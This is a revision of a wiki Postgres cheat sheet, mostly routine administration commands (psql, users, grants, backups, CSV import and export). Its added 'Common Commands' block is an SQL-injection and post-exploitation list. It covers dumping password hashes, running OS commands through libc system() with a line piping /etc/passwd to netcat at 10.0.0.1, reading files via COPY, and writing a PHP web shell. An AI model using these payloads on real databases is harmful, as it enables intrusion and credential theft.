Difference between revisions of "Postgresql Cheat Sheet"

From UVOO Tech Wiki
Jump to navigation Jump to search
Line 3: Line 3:
 
This is a collection of the most common commands I run while administering Postgres databases. The variables shown between the open and closed tags, "<" and ">", should be replaced with a name you choose. Postgres has multiple shortcut functions, starting with a forward slash, "\". Any SQL command that is not a shortcut, must end with a semicolon, ";". You can use the keyboard UP and DOWN keys to scroll the history of previous commands you've run.
 
This is a collection of the most common commands I run while administering Postgres databases. The variables shown between the open and closed tags, "<" and ">", should be replaced with a name you choose. Postgres has multiple shortcut functions, starting with a forward slash, "\". Any SQL command that is not a shortcut, must end with a semicolon, ";". You can use the keyboard UP and DOWN keys to scroll the history of previous commands you've run.
  
 +
 +
## Common Commands
 +
 +
```
 +
Version SELECT version()
 +
Comments SELECT 1; –comment
 +
SELECT /*comment*/1;
 +
Current User SELECT user;
 +
SELECT current_user;
 +
SELECT session_user;
 +
SELECT usename FROM pg_user;
 +
SELECT getpgusername();
 +
List Users SELECT usename FROM pg_user
 +
List Password Hashes SELECT usename, passwd FROM pg_shadow — priv
 +
Password Cracker MDCrack can crack PostgreSQL’s MD5-based passwords.
 +
List Privileges SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
 +
List DBA Accounts SELECT usename FROM pg_user WHERE usesuper IS TRUE
 +
Current Database SELECT current_database()
 +
List Databases SELECT datname FROM pg_database
 +
List Columns SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)
 +
List Tables SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)
 +
Find Tables From Column Name If you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’;
 +
Select Nth Row SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0
 +
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
 +
Select Nth Char SELECT substr(‘abcd’, 3, 1); — returns c
 +
Bitwise AND SELECT 6 & 2; — returns 2
 +
SELECT 6 & 1; –returns 0
 +
ASCII Value -> Char SELECT chr(65);
 +
Char -> ASCII Value SELECT ascii(‘A’);
 +
Casting SELECT CAST(1 as varchar);
 +
SELECT CAST(’1′ as int);
 +
String Concatenation SELECT ‘A’ || ‘B’; — returnsAB
 +
If Statement IF statements only seem valid inside functions, so aren’t much use for SQL injection.  See CASE statement instead.
 +
Case Statement SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A
 +
Avoiding Quotes SELECT CHR(65)||CHR(66); — returns AB
 +
Time Delay SELECT pg_sleep(10); — postgres 8.2+ only
 +
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function.  Taken from here .
 +
Make DNS Requests Generally not possible in postgres.  However if contrib/dblinkis installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights):
 +
SELECT * FROM dblink('host=put.your.hostname.here user=someuser  dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
 +
Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”.
 +
 +
Command Execution CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user
 +
Local File Access CREATE TABLE mydata(t text);
 +
COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user
 +
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time
 +
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time …
 +
DROP TABLE mytest mytest;Write to a file:
 +
CREATE TABLE mytable (mycol text);
 +
INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’);
 +
COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user.  Generally you won’t be able to write to the web root, but it’s always work a try.
 +
– priv user can also read/write files by mapping libc functions
 +
 +
Hostname, IP Address SELECT inet_server_addr(); — returns db server IP address (or null if using local connection)
 +
SELECT inet_server_port(); — returns db server IP address (or null if using local connection)
 +
Create Users CREATE USER test1 PASSWORD ‘pass1′; — priv
 +
CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time
 +
Drop Users DROP USER test1; — priv
 +
Make User DBA ALTER USER test1 CREATEUSER CREATEDB; — priv
 +
Location of DB files SELECT current_setting(‘data_directory’); — priv
 +
SELECT current_setting(‘hba_file’); — priv
 +
Default/System Databases template0
 +
template1
 +
```
  
 
##
 
##

Revision as of 16:02, 30 July 2019

Postgres Cheatsheet

This is a collection of the most common commands I run while administering Postgres databases. The variables shown between the open and closed tags, "<" and ">", should be replaced with a name you choose. Postgres has multiple shortcut functions, starting with a forward slash, "\". Any SQL command that is not a shortcut, must end with a semicolon, ";". You can use the keyboard UP and DOWN keys to scroll the history of previous commands you've run.

Common Commands

Version SELECT version()
Comments    SELECT 1; –comment
SELECT /*comment*/1;
Current User    SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
List Users  SELECT usename FROM pg_user
List Password Hashes    SELECT usename, passwd FROM pg_shadow — priv
Password Cracker    MDCrack can crack PostgreSQL’s MD5-based passwords.
List Privileges SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
List DBA Accounts   SELECT usename FROM pg_user WHERE usesuper IS TRUE
Current Database    SELECT current_database()
List Databases  SELECT datname FROM pg_database
List Columns    SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)
List Tables SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)
Find Tables From Column Name    If you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’;
Select Nth Row  SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
Select Nth Char SELECT substr(‘abcd’, 3, 1); — returns c
Bitwise AND SELECT 6 & 2; — returns 2
SELECT 6 & 1; –returns 0
ASCII Value -> Char SELECT chr(65);
Char -> ASCII Value SELECT ascii(‘A’);
Casting SELECT CAST(1 as varchar);
SELECT CAST(’1′ as int);
String Concatenation    SELECT ‘A’ || ‘B’; — returnsAB
If Statement    IF statements only seem valid inside functions, so aren’t much use for SQL injection.  See CASE statement instead.
Case Statement  SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A
Avoiding Quotes SELECT CHR(65)||CHR(66); — returns AB
Time Delay  SELECT pg_sleep(10); — postgres 8.2+ only
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function.  Taken from here .
Make DNS Requests   Generally not possible in postgres.  However if contrib/dblinkis installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights):
SELECT * FROM dblink('host=put.your.hostname.here user=someuser  dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”.

Command Execution   CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user
Local File Access   CREATE TABLE mydata(t text);
COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time …
DROP TABLE mytest mytest;Write to a file:
CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’);
COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user.  Generally you won’t be able to write to the web root, but it’s always work a try.
– priv user can also read/write files by mapping libc functions

Hostname, IP Address    SELECT inet_server_addr(); — returns db server IP address (or null if using local connection)
SELECT inet_server_port(); — returns db server IP address (or null if using local connection)
Create Users    CREATE USER test1 PASSWORD ‘pass1′; — priv
CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time
Drop Users  DROP USER test1; — priv
Make User DBA   ALTER USER test1 CREATEUSER CREATEDB; — priv
 Location of DB files   SELECT current_setting(‘data_directory’); — priv
SELECT current_setting(‘hba_file’); — priv
Default/System Databases    template0
template1

#

Get trigger src 

select prosrc from pg_trigger,pg_proc where
 pg_proc.oid=pg_trigger.tgfoid
 and pg_trigger.tgname = 'jtrigger';

Setup

installation, Ubuntu

http://www.postgresql.org/download/linux/ubuntu/ https://help.ubuntu.com/community/PostgreSQL 

sudo echo "deb http://apt.postgresql.org/pub/repos/apt/ wily-pgdg main" > \
  /etc/apt/sources.list.d/pgdg.list
wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo apt-key add -
sudo apt-get update
sudo apt-get install -y postgresql-9.5 postgresql-client-9.5 postgresql-contrib-9.5

sudo su - postgres
psql
connect

http://www.postgresql.org/docs/current/static/app-psql.html 

psql

psql -U <username> -d <database> -h <hostname>

psql --username=<username> --dbname=<database> --host=<hostname>
disconnect
\q
\!
clear the screen
(CTRL + L)
info
\conninfo
configure

http://www.postgresql.org/docs/current/static/runtime-config.html 

sudo nano $(locate -l 1 main/postgresql.conf)
sudo service postgresql restart
debug logs
# print the last 24 lines of the debug log
sudo tail -24 $(find /var/log/postgresql -name 'postgresql-*-main.log')




Recon

show version
SHOW SERVER_VERSION;
show system status
\conninfo
show environmental variables
SHOW ALL;
list users
SELECT rolname FROM pg_roles;
show current user
SELECT current_user;
show current user's permissions
\du
list databases
\l
show current database
SELECT current_database();
show all tables in database
\dt
list functions
\df <schema>




Databases

list databasees
\l
connect to database
\c <database_name>
show current database
SELECT current_database();
create database

http://www.postgresql.org/docs/current/static/sql-createdatabase.html 

CREATE DATABASE <database_name> WITH OWNER <username>;
delete database

http://www.postgresql.org/docs/current/static/sql-dropdatabase.html 

DROP DATABASE IF EXISTS <database_name>;
rename database

http://www.postgresql.org/docs/current/static/sql-alterdatabase.html 

ALTER DATABASE <old_name> RENAME TO <new_name>;




Users

list roles
SELECT rolname FROM pg_roles;
create user

http://www.postgresql.org/docs/current/static/sql-createuser.html 

CREATE USER <user_name> WITH PASSWORD '<password>';
drop user

http://www.postgresql.org/docs/current/static/sql-dropuser.html 

DROP USER IF EXISTS <user_name>;
alter user password

http://www.postgresql.org/docs/current/static/sql-alterrole.html 

ALTER ROLE <user_name> WITH PASSWORD '<password>';




Permissions

become the postgres user, if you have permission errors
sudo su - postgres
psql
grant all permissions on database

http://www.postgresql.org/docs/current/static/sql-grant.html 

GRANT ALL PRIVILEGES ON DATABASE <db_name> TO <user_name>;
grant connection permissions on database
GRANT CONNECT ON DATABASE <db_name> TO <user_name>;
grant permissions on schema
GRANT USAGE ON SCHEMA public TO <user_name>;
grant permissions to functions
GRANT EXECUTE ON ALL FUNCTIONS IN SCHEMA public TO <user_name>;
grant permissions to select, update, insert, delete, on a all tables
GRANT SELECT, UPDATE, INSERT ON ALL TABLES IN SCHEMA public TO <user_name>;
grant permissions, on a table
GRANT SELECT, UPDATE, INSERT ON <table_name> TO <user_name>;
grant permissions, to select, on a table
GRANT SELECT ON ALL TABLES IN SCHEMA public TO <user_name>;




Schema

list schemas
\dn

SELECT schema_name FROM information_schema.schemata;

SELECT nspname FROM pg_catalog.pg_namespace;
create schema

http://www.postgresql.org/docs/current/static/sql-createschema.html 

CREATE SCHEMA IF NOT EXISTS <schema_name>;
drop schema

http://www.postgresql.org/docs/current/static/sql-dropschema.html 

DROP SCHEMA IF EXISTS <schema_name> CASCADE;




Tables

list tables, in current db
\dt

SELECT table_schema,table_name FROM information_schema.tables ORDER BY table_schema,table_name;
list tables, globally
\dt *.*.

SELECT * FROM pg_catalog.pg_tables
list table schema
\d <table_name>
\d+ <table_name>

SELECT column_name, data_type, character_maximum_length
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name = '<table_name>';
create table

http://www.postgresql.org/docs/current/static/sql-createtable.html 

CREATE TABLE <table_name>(
  <column_name> <column_type>,
  <column_name> <column_type>
);
create table, with an auto-incrementing primary key
CREATE TABLE <table_name> (
  <column_name> SERIAL PRIMARY KEY
);
delete table

http://www.postgresql.org/docs/current/static/sql-droptable.html 

DROP TABLE IF EXISTS <table_name> CASCADE;




Columns

add column

http://www.postgresql.org/docs/current/static/sql-altertable.html 

ALTER TABLE <table_name> IF EXISTS
ADD <column_name> <data_type> [<constraints>];
update column
ALTER TABLE <table_name> IF EXISTS
ALTER <column_name> TYPE <data_type> [<constraints>];
delete column
ALTER TABLE <table_name> IF EXISTS
DROP <column_name>;
update column to be an auto-incrementing primary key
ALTER TABLE <table_name>
ADD COLUMN <column_name> SERIAL PRIMARY KEY;
insert into a table, with an auto-incrementing primary key
INSERT INTO <table_name>
VALUES (DEFAULT, <value1>);


INSERT INTO <table_name> (<column1_name>,<column2_name>)
VALUES ( <value1>,<value2> );




Data

read all data

http://www.postgresql.org/docs/current/static/sql-select.html 

SELECT * FROM <table_name>;
read one row of data
SELECT * FROM <table_name> LIMIT 1;
search for data
SELECT * FROM <table_name> WHERE <column_name> = <value>;
insert data

http://www.postgresql.org/docs/current/static/sql-insert.html 

INSERT INTO <table_name> VALUES( <value_1>, <value_2> );
edit data

http://www.postgresql.org/docs/current/static/sql-update.html 

UPDATE <table_name>
SET <column_1> = <value_1>, <column_2> = <value_2>
WHERE <column_1> = <value>;
delete all data

http://www.postgresql.org/docs/current/static/sql-delete.html 

DELETE FROM <table_name>;
delete specific data
DELETE FROM <table_name>
WHERE <column_name> = <value>;




Scripting

run local script, on remote host

http://www.postgresql.org/docs/current/static/app-psql.html 

psql -U <username> -d <database> -h <host> -f <local_file>

psql --username=<username> --dbname=<database> --host=<host> --file=<local_file>
backup database data, everything

http://www.postgresql.org/docs/current/static/app-pgdump.html 

pg_dump <database_name>

pg_dump <database_name>
backup database, only data
pg_dump -a <database_name>

pg_dump --data-only <database_name>
backup database, only schema
pg_dump -s <database_name>

pg_dump --schema-only <database_name>
restore database data

http://www.postgresql.org/docs/current/static/app-pgrestore.html 

pg_restore -d <database_name> -a <file_pathway>

pg_restore --dbname=<database_name> --data-only <file_pathway>
restore database schema
pg_restore -d <database_name> -s <file_pathway>

pg_restore --dbname=<database_name> --schema-only <file_pathway>
export table into CSV file

http://www.postgresql.org/docs/current/static/sql-copy.html 

\copy <table_name> TO '<file_path>' CSV
export table, only specific columns, to CSV file
\copy <table_name>(<column_1>,<column_1>,<column_1>) TO '<file_path>' CSV
import CSV file into table

http://www.postgresql.org/docs/current/static/sql-copy.html 

\copy <table_name> FROM '<file_path>' CSV
import CSV file into table, only specific columns
\copy <table_name>(<column_1>,<column_1>,<column_1>) FROM '<file_path>' CSV




Debugging

http://www.postgresql.org/docs/current/static/using-explain.html

http://www.postgresql.org/docs/current/static/runtime-config-logging.html


Advanced Features

http://www.tutorialspoint.com/postgresql/postgresql_constraints.htm

Retrieved from "https://tech.uvoo.io/index.php?title=Postgresql_Cheat_Sheet&oldid=299"